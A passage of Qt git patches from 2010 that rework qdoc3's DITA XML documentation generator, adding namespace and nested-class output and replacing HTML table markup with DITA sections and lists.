atom->string().split(","); if (spans.size() == 2) { + if (inTableHeader || + (spans[0].toInt() != 1) || + (spans[1].toInt() != 1)) { + QString s = "span(" + spans[0] + "," + spans[1] + ")"; + xmlWriter().writeAttribute("outputclass",s); + } if (!inTableHeader) - xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("p"); } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1439,7 +1452,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::TableOfContents: { int numColumns = 1; - const Node *node = relative; + const Node* node = relative; Doc::SectioningUnit sectioningUnit = Doc::Section4; QStringList params = atom->string().split(","); @@ -1637,6 +1650,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark generateSectionInheritedList(*s, inner, marker); ++s; } + xmlWriter().writeEndElement(); //
    } writeDetailedDescription(cn, marker, false, QString("Detailed Description")); -- cgit v0.12 From c0608b2ca1468e1bb1ba6eec835118b459240cc5 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 1 Oct 2010 15:02:00 +0200 Subject: qdoc: More complete QML elements. Still missing some links for QML basic types. --- tools/qdoc3/ditaxmlgenerator.cpp | 158 ++++++++++++++++++++------------------- 1 file changed, 82 insertions(+), 76 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2ee7a45..0291054 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -638,6 +638,33 @@ void DitaXmlGenerator::startText(const Node* /* relative */, sectionNumber.clear(); } +static int countTableColumns(const Atom* t) +{ + int result = 0; + if (t->type() == Atom::TableHeaderLeft) { + while (t->type() == Atom::TableHeaderLeft) { + int count = 0; + t = t->next(); + while (t->type() != Atom::TableHeaderRight) { + if (t->type() == Atom::TableItemLeft) + ++count; + t = t->next(); + } + if (count > result) + result = count; + t = t->next(); + } + } + else if (t->type() == Atom::TableRowLeft) { + while (t->type() != Atom::TableRowRight) { + if (t->type() == Atom::TableItemLeft) + ++result; + t = t->next(); + } + } + return result; +} + /*! Generate html from an instance of Atom. */ @@ -1357,19 +1384,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, qDebug() << "ERROR: Nested tables!"; tableColumnCount = 0; } - const Atom* t = atom->next(); - while (t->type() == Atom::TableHeaderLeft) { - int count = 0; - t = t->next(); - while (t->type() != Atom::TableHeaderRight) { - if (t->type() == Atom::TableItemLeft) - ++count; - t = t->next(); - } - if (count > tableColumnCount) - tableColumnCount = count; - t = t->next(); - } + tableColumnCount = countTableColumns(atom->next()); xmlWriter().writeStartElement("tgroup"); xmlWriter().writeAttribute("cols",QString::number(tableColumnCount)); inTableHeader = false; @@ -1793,8 +1808,15 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); s = sections.begin(); while (s != sections.end()) { - writeTargetAndHeader((*s).name,protectEnc((*s).name),"h2"); + xmlWriter().writeStartElement("section"); + QString attr = cleanRef((*s).name).toLower(); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // generateQmlSummary(*s,fake,marker); + xmlWriter().writeEndElement(); //
    ++s; } @@ -1809,15 +1831,21 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); s = sections.begin(); while (s != sections.end()) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); - xmlWriter().writeEndElement(); //

    - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - generateDetailedQmlMember(*m, fake, marker); - //out() << "
    \n"; - ++m; + if (!s->members.isEmpty()) { + QString attr; + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower(); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + NodeList::ConstIterator m = (*s).members.begin(); + while (m != (*s).members.end()) { + generateDetailedQmlMember(*m, fake, marker); + ++m; + } + xmlWriter().writeEndElement(); //
    } ++s; } @@ -3317,7 +3345,7 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } xmlWriter().writeEndElement(); // xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass=","memItemRight bottomAlign"); + xmlWriter().writeAttribute("outputclass","memItemRight bottomAlign"); done = true; } i += 2; @@ -4324,81 +4352,59 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, CodeMarker* marker) { QString marked; - const QmlPropertyNode* qpn = 0; - out() << "
    "; + QmlPropertyNode* qpn = 0; if (node->subType() == Node::QmlPropertyGroup) { const QmlPropGroupNode* qpgn = static_cast(node); NodeList::ConstIterator p = qpgn->childNodes().begin(); - out() << "
    "; - out() << ""; - + xmlWriter().writeStartElement("ul"); while (p != qpgn->childNodes().end()) { if ((*p)->type() == Node::QmlProperty) { qpn = static_cast(*p); - - if (++numTableRows % 2 == 1) - out() << ""; - else - out() << ""; - - out() << ""; + xmlWriter().writeEndElement(); // } ++p; } - out() << "

    "; - //out() << "

    "; // old - out() << ""; + xmlWriter().writeStartElement("li"); + writeGuidAttribute(qpn); + QString attr; if (!qpn->isWritable(myTree)) - out() << "read-only"; - if (qpgn->isDefault()) - out() << "default"; + attr = "read-only"; + if (qpgn->isDefault()) { + if (!attr.isEmpty()) + attr += " "; + attr += "default"; + } + if (!attr.isEmpty()) + xmlWriter().writeAttribute("outputclass",attr); generateQmlItem(qpn, relative, marker, false); - out() << "
    "; - out() << "
    "; + xmlWriter().writeEndElement(); // } else if (node->type() == Node::QmlSignal) { - const FunctionNode* qsn = static_cast(node); - out() << "
    "; - out() << ""; - //out() << ""; - if (++numTableRows % 2 == 1) - out() << ""; - else - out() << ""; - out() << ""; - out() << "

    "; - out() << ""; - marked = getMarkedUpSynopsis(qsn, relative, marker, CodeMarker::Detailed); + Node* n = const_cast(node); + xmlWriter().writeStartElement("ul"); + xmlWriter().writeStartElement("li"); + writeGuidAttribute(n); + marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); - //generateQmlItem(qsn,relative,marker,false); - out() << "

    "; - out() << "
    "; + generateQmlItem(n, relative, marker, false); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } else if (node->type() == Node::QmlMethod) { - const FunctionNode* qmn = static_cast(node); - out() << "
    "; - out() << ""; - //out() << ""; - if (++numTableRows % 2 == 1) - out() << ""; - else - out() << ""; - out() << ""; - out() << "

    "; - out() << ""; - marked = getMarkedUpSynopsis(qmn, relative, marker, CodeMarker::Detailed); + Node* n = const_cast(node); + xmlWriter().writeStartElement("ul"); + xmlWriter().writeStartElement("li"); + writeGuidAttribute(n); + marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); - out() << "

    "; - out() << "
    "; + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } - out() << "
    "; generateStatus(node, marker); generateBody(node, marker); generateThreadSafeness(node, marker); generateSince(node, marker); generateAlsoList(node, marker); - out() << "
    "; - out() << "
    "; } /*! -- cgit v0.12 From c86449e2e45b67662b652d58e95e0ca7c99782fd Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 1 Oct 2010 15:18:40 +0200 Subject: qdoc: Removed extraneous call to generateQmlItem(). --- tools/qdoc3/ditaxmlgenerator.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 0291054..3fb90d2 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -4386,7 +4386,6 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, writeGuidAttribute(n); marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); - generateQmlItem(n, relative, marker, false); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } -- cgit v0.12 From 77a701d8657118d2c611d521a95dad42a845b42b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 4 Oct 2010 10:50:41 +0200 Subject: qdoc: Changed type names to links to types. This wasn't happeneiung everywhere that it should have been, especially for QML basic types. --- tools/qdoc3/ditaxmlgenerator.cpp | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 3fb90d2..2d8eec2 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3386,9 +3386,22 @@ void DitaXmlGenerator::writeText(const QString& markedCode, html.clear(); } par1 = QStringRef(); - marker->resolveTarget(arg.toString(), myTree, relative); - QString link = linkForNode(n,relative); - addLink(link, arg); + QString link; + n = marker->resolveTarget(arg.toString(), myTree, relative); + if (n && n->subType() == Node::QmlBasicType) { + if (relative && relative->subType() == Node::QmlClass) { + link = linkForNode(n,relative); + addLink(link, arg); + } + else { + link = arg.toString(); + } + } + else { + // (zzz) Is this correct for all cases? + link = linkForNode(n,relative); + addLink(link, arg); + } } handled = true; break; -- cgit v0.12 From edbe8f8f8c284b4cac52ff1e97a2065dc4f89d74 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 4 Oct 2010 13:14:22 +0200 Subject: qdoc: Outputting each namespace as a element. Still missing nested classes. --- tools/qdoc3/ditaxmlgenerator.cpp | 164 +++++++++++++++++++++++++++++++++++++-- tools/qdoc3/ditaxmlgenerator.h | 2 +- 2 files changed, 159 insertions(+), 7 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2d8eec2..2b90d8e 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1534,16 +1534,160 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark QList
    ::ConstIterator s; const ClassNode* cn = 0; - const NamespaceNode* namespasse = 0; + const NamespaceNode* nsn = 0; QString title; QString rawTitle; QString fullTitle; if (inner->type() == Node::Namespace) { - namespasse = const_cast(static_cast(inner)); + nsn = const_cast(static_cast(inner)); rawTitle = marker->plainName(inner); fullTitle = marker->plainFullName(inner); title = rawTitle + " Namespace"; + + /* + Note: Because the C++ specialization we are using + has no element, we are using the + element with an outputclass attribute + set to "namespace" . + */ + generateHeader(inner, fullTitle); + generateBrief(inner, marker); // + + // not included: + + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement(CXXCLASSDEFINITION); + writeLocation(nsn); + xmlWriter().writeEndElement(); // + + xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeAttribute("spectitle",title); + Text brief = nsn->doc().briefText(); + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, nsn, marker); + xmlWriter().writeEndElement(); //

    + } + generateIncludes(nsn, marker); + generateStatus(nsn, marker); + generateThreadSafeness(nsn, marker); + generateSince(nsn, marker); + + xmlWriter().writeStartElement("ul"); + + QString membersLink = generateListOfAllMemberFile(inner, marker); + if (!membersLink.isEmpty()) { + writeXrefListItem(membersLink,"List of all members, including inherited members"); + } + + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + if (!obsoleteLink.isEmpty()) { + writeXrefListItem(obsoleteLink,"Obsolete members"); + } + + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!compatLink.isEmpty()) { + writeXrefListItem(compatLink,"Qt 3 support members"); + } + + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + + bool needOtherSection = false; + QList
    summarySections; + summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + QString attr; + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower() + " redundant"; + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + generateSection(s->members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + attr = cleanRef(name).toLower() + " redundant"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + } + ++s; + } + if (needOtherSection) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters("Additional Inherited Members"); + xmlWriter().writeEndElement(); // + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; + } + xmlWriter().writeEndElement(); //
    + } + + writeDetailedDescription(nsn, marker, false, QString("Detailed Description")); + + // not included: or + + xmlWriter().writeEndElement(); // + + // not included: + // not included: + + QList
    detailSections; + detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = detailSections.begin(); + while (s != detailSections.end()) { + if ((*s).name == "Function Documentation") { + writeFunctions((*s),nsn,marker); + } + else if ((*s).name == "Type Documentation") { + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); + } + else if ((*s).name == "Variable Documentation") { + writeDataMembers((*s),marker); + } + else if ((*s).name == "Property Documentation") { + writeProperties((*s),marker); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker); + } + ++s; + } + + // not included: + + xmlWriter().writeEndElement(); // } else if (inner->type() == Node::Class) { cn = const_cast(static_cast(inner)); @@ -1826,7 +1970,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker generateQmlText(cn->doc().body(), cn, marker, fake->name()); generateAlsoList(fake, marker); - //out() << "
    \n"; sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); s = sections.begin(); @@ -2095,6 +2238,16 @@ void DitaXmlGenerator::generateHeader(const Node* node, " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" + version + "//EN\" \"" + dtd + "\">"; } + else if (node->type() == Node::Namespace) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = ""; + outputclass = "namespace"; + } xmlWriter().writeDTD(doctype); xmlWriter().writeComment(node->doc().location().fileName()); @@ -2899,7 +3052,6 @@ void DitaXmlGenerator::generateLegaleseList(const Node* relative, QMap::ConstIterator it = legaleseTexts.begin(); while (it != legaleseTexts.end()) { Text text = it.key(); - //out() << "
    \n"; generateText(text, relative, marker); xmlWriter().writeStartElement("ul"); do { @@ -4668,7 +4820,7 @@ void DitaXmlGenerator::writeLocation(const Node* n) Write the elements. */ void DitaXmlGenerator::writeFunctions(const Section& s, - const ClassNode* cn, + const Node* n, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); @@ -4728,7 +4880,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, } } - if (fn->name() == cn->name()) { + if (fn->name() == n->name()) { xmlWriter().writeStartElement(CXXFUNCTIONCONSTRUCTOR); xmlWriter().writeAttribute("name","constructor"); xmlWriter().writeAttribute("value","constructor"); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 484ff2f..746bbe9 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -117,7 +117,7 @@ class DitaXmlGenerator : public PageGenerator void writeDerivations(const ClassNode* cn, CodeMarker* marker); void writeLocation(const Node* n); void writeFunctions(const Section& s, - const ClassNode* cn, + const Node* n, CodeMarker* marker); void writeParameters(const FunctionNode* fn); void writeEnumerations(const Section& s, CodeMarker* marker); -- cgit v0.12 From 9b6be16181d0e17f61551d3d231f1a997fdcd9e1 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 5 Oct 2010 15:16:41 +0200 Subject: qdoc: Added the remaining names bits. Needs careful proofreading of results. --- tools/qdoc3/ditaxmlgenerator.cpp | 228 +++++++-------------------------------- tools/qdoc3/ditaxmlgenerator.h | 3 + 2 files changed, 40 insertions(+), 191 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2b90d8e..6ec8934 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1654,9 +1654,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } writeDetailedDescription(nsn, marker, false, QString("Detailed Description")); - - // not included: or - xmlWriter().writeEndElement(); // // not included: @@ -1666,6 +1663,15 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); s = detailSections.begin(); while (s != detailSections.end()) { + if ((*s).name == "Classes") { + writeNestedClasses((*s),nsn,marker); + break; + } + ++s; + } + + s = detailSections.begin(); + while (s != detailSections.end()) { if ((*s).name == "Function Documentation") { writeFunctions((*s),nsn,marker); } @@ -1673,20 +1679,14 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeEnumerations((*s),marker); writeTypedefs((*s),marker); } - else if ((*s).name == "Variable Documentation") { - writeDataMembers((*s),marker); - } - else if ((*s).name == "Property Documentation") { - writeProperties((*s),marker); + else if ((*s).name == "Namespaces") { + qDebug() << "Nested namespaces" << outFileName(); } else if ((*s).name == "Macro Documentation") { writeMacros((*s),marker); } ++s; } - - // not included: - xmlWriter().writeEndElement(); // } else if (inner->type() == Node::Class) { @@ -4773,7 +4773,7 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) void DitaXmlGenerator::writeLocation(const Node* n) { QString s1, s2, s3; - if (n->type() == Node::Class) { + if (n->type() == Node::Class || n->type() == Node::Namespace) { s1 = CXXCLASSAPIITEMLOCATION; s2 = CXXCLASSDECLARATIONFILE; s3 = CXXCLASSDECLARATIONFILELINE; @@ -5562,186 +5562,32 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, inDetailedDescription = false; } -QT_END_NAMESPACE - -#ifdef TO_BE_INCLUDED_IN_API_DESC -zzzz - Text subtitleText; - if (rawTitle != fullTitle) - subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" - << Atom(Atom::LineBreak); - - QString shortVersion; - shortVersion = project + " " + shortVersion + ": "; - shortVersion = myTree->version(); - if (shortVersion.count(QChar('.')) == 2) - shortVersion.truncate(shortVersion.lastIndexOf(QChar('.'))); - if (!shortVersion.isEmpty()) { - if (project == "QSA") - shortVersion = "QSA " + shortVersion + ": "; - else - shortVersion = "Qt " + shortVersion + ": "; - } - - out() << " " << shortVersion << protectEnc(title) << "\n"; - -#if 0 - out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); -#endif - - sections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); - generateTableOfContents(inner,marker,§ions); - generateTitle(title, subtitleText, SmallSubTitle, inner, marker); - - if (cn && !cn->qmlElement().isEmpty()) { - generateInstantiatedBy(cn,marker); - } +/*! + Write the nested class elements. + */ +void DitaXmlGenerator::writeNestedClasses(const Section& s, + const Node* n, + CodeMarker* marker) +{ + if (s.members.isEmpty()) + return; + xmlWriter().writeStartElement("cxxClassNested"); + xmlWriter().writeStartElement("cxxClassNestedDetail"); - generateBrief(inner, marker); - generateIncludes(inner, marker); - generateStatus(inner, marker); - if (cn) { - generateInherits(cn, marker); - generateInheritedBy(cn, marker); - } - generateThreadSafeness(inner, marker); - generateSince(inner, marker); - - out() << "
      \n"; - - QString membersLink = generateListOfAllMemberFile(inner, marker); - if (!membersLink.isEmpty()) - out() << "
    • " - << "List of all members, including inherited members
    • \n"; - - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) - out() << "
    • " - << "Obsolete members
    • \n"; - - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!compatLink.isEmpty()) - out() << "
    • " - << "Qt 3 support members
    • \n"; - - out() << "
    \n"; - - bool needOtherSection = false; - - /* - sections is built above for the call to generateTableOfContents(). - */ - s = sections.begin(); - while (s != sections.end()) { - if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { - if (!s->inherited.isEmpty()) - needOtherSection = true; - } - else { - if (!s->members.isEmpty()) { - out() << "
    \n"; - out() << "\n"; - out() << "

    " << protectEnc((*s).name) << "

    \n"; - generateSection(s->members, inner, marker, CodeMarker::Summary); - } - if (!s->reimpMembers.isEmpty()) { - QString name = QString("Reimplemented ") + (*s).name; - out() << "
    \n"; - out() << "\n"; - out() << "

    " << protectEnc(name) << "

    \n"; - generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); - } - generateSectionInheritedList(*s, inner, marker, true); - } - ++s; - } - - if (needOtherSection) { - out() << "

    Additional Inherited Members

    \n"; - s = sections.begin(); - while (s != sections.end()) { - if (s->members.isEmpty()) - generateSectionInheritedList(*s, inner, marker); - ++s; + NodeList::ConstIterator m = s.members.begin(); + while (m != s.members.end()) { + if ((*m)->type() == Node::Class) { + xmlWriter().writeStartElement("cxxClassNestedClass"); + QString link = linkForNode((*m), n); + xmlWriter().writeAttribute("href", link); + QString name = n->name() + "::" + (*m)->name(); + xmlWriter().writeCharacters(name); + xmlWriter().writeEndElement(); // } + ++m; } + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // +} - out() << "\n"; - - if (!inner->doc().isEmpty()) { - out() << "
    \n" - << "
    \n" // QTBUG-9504 - << "

    " << "Detailed Description" << "

    \n"; - generateBody(inner, marker); - out() << "
    \n"; // QTBUG-9504 - generateAlsoList(inner, marker); - } - - sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { - out() << "
    \n"; - if (!(*s).divClass.isEmpty()) - out() << "
    \n"; // QTBUG-9504 - out() << "

    " << protectEnc((*s).name) << "

    \n"; - - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - if ((*m)->access() != Node::Private) { // ### check necessary? - if ((*m)->type() != Node::Class) - generateDetailedMember(*m, inner, marker); - else { - out() << "

    class "; - generateFullName(*m, inner, marker); - out() << "

    "; - generateBrief(*m, marker, inner); - } - - QStringList names; - names << (*m)->name(); - if ((*m)->type() == Node::Function) { - const FunctionNode *func = reinterpret_cast(*m); - if (func->metaness() == FunctionNode::Ctor || - func->metaness() == FunctionNode::Dtor || - func->overloadNumber() != 1) - names.clear(); - } - else if ((*m)->type() == Node::Property) { - const PropertyNode *prop = reinterpret_cast(*m); - if (!prop->getters().isEmpty() && - !names.contains(prop->getters().first()->name())) - names << prop->getters().first()->name(); - if (!prop->setters().isEmpty()) - names << prop->setters().first()->name(); - if (!prop->resetters().isEmpty()) - names << prop->resetters().first()->name(); - } - else if ((*m)->type() == Node::Enum) { - const EnumNode *enume = reinterpret_cast(*m); - if (enume->flagsType()) - names << enume->flagsType()->name(); - - foreach (const QString &enumName, - enume->doc().enumItemNames().toSet() - - enume->doc().omitEnumItemNames().toSet()) - names << plainCode(marker->markedUpEnumValue(enumName, - enume)); - } - } - ++m; - } - if (!(*s).divClass.isEmpty()) - out() << "
    \n"; // QTBUG-9504 - ++s; - } -#endif // TO_BE_INCLUDED_IN_API_DESC +QT_END_NAMESPACE diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 746bbe9..cf26274 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -119,6 +119,9 @@ class DitaXmlGenerator : public PageGenerator void writeFunctions(const Section& s, const Node* n, CodeMarker* marker); + void writeNestedClasses(const Section& s, + const Node* n, + CodeMarker* marker); void writeParameters(const FunctionNode* fn); void writeEnumerations(const Section& s, CodeMarker* marker); void writeTypedefs(const Section& s, CodeMarker* marker); -- cgit v0.12 From f6b489885b75001b373c3aa2d3c7f1bd33520c06 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 6 Oct 2010 10:30:21 +0200 Subject: qdoc: Cleaned up a lot of redundant table stuff. Now just uses
      for redundant lists. --- tools/qdoc3/ditaxmlgenerator.cpp | 96 +++------------------------------------- tools/qdoc3/ditaxmlgenerator.h | 3 +- 2 files changed, 8 insertions(+), 91 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 6ec8934..5458b7c 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3238,90 +3238,19 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, CodeMarker* marker, CodeMarker::SynopsisStyle style) { - bool name_alignment = true; if (!nl.isEmpty()) { - bool twoColumn = false; - if (style == CodeMarker::SeparateList) { - name_alignment = false; - twoColumn = (nl.count() >= 16); - } - else if (nl.first()->type() == Node::Property) { - twoColumn = (nl.count() >= 5); - name_alignment = false; - } - if (name_alignment) { - xmlWriter().writeStartElement("table"); - xmlWriter().writeAttribute("outputclass","alignedsummary"); - xmlWriter().writeStartElement("tgroup"); - xmlWriter().writeAttribute("cols","2"); - xmlWriter().writeStartElement("tbody"); - } - else { - if (twoColumn) { - xmlWriter().writeStartElement("table"); - xmlWriter().writeAttribute("outputclass","propsummary"); - xmlWriter().writeStartElement("tgroup"); - xmlWriter().writeAttribute("cols","1"); - xmlWriter().writeStartElement("tbody"); - xmlWriter().writeStartElement("row"); - xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass","topAlign"); - } - xmlWriter().writeStartElement("ul"); - } - - int i = 0; + xmlWriter().writeStartElement("ul"); NodeList::ConstIterator m = nl.begin(); while (m != nl.end()) { - if ((*m)->access() == Node::Private) { - ++m; - continue; - } - - if (name_alignment) { - xmlWriter().writeStartElement("row"); - xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass","memItemLeft rightAlign topAlign"); - } - else { - if (twoColumn && i == (int) (nl.count() + 1) / 2) { - xmlWriter().writeEndElement(); //
    - xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass","topAlign"); - xmlWriter().writeStartElement("ul"); - } + if ((*m)->access() != Node::Private) { xmlWriter().writeStartElement("li"); - xmlWriter().writeAttribute("outputclass","fn"); - } - - QString marked = getMarkedUpSynopsis(*m, relative, marker, style); - writeText(marked, marker, relative, name_alignment); - if (name_alignment) { - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - } - else { + QString marked = getMarkedUpSynopsis(*m, relative, marker, style); + writeText(marked, marker, relative); xmlWriter().writeEndElement(); // } - i++; ++m; } - if (name_alignment) { - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - } - else { - xmlWriter().writeEndElement(); // - if (twoColumn) { - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - } - } + xmlWriter().writeEndElement(); // } } @@ -3416,8 +3345,7 @@ QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, */ void DitaXmlGenerator::writeText(const QString& markedCode, CodeMarker* marker, - const Node* relative, - bool nameAlignment) + const Node* relative) { QString src = markedCode; QString html; @@ -3487,19 +3415,9 @@ void DitaXmlGenerator::writeText(const QString& markedCode, // 0 1 2 3 4 5 "link", "type", "headerfile", "func", "param", "extra" }; - bool done = false; + for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle && src.at(i + 1) == charAt) { - if (nameAlignment && !done) { - if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); - html.clear(); - } - xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass","memItemRight bottomAlign"); - done = true; - } i += 2; bool handled = false; for (int k = 0; k != 6; ++k) { diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index cf26274..8bd9406 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -208,8 +208,7 @@ class DitaXmlGenerator : public PageGenerator CodeMarker* marker); void writeText(const QString& markedCode, 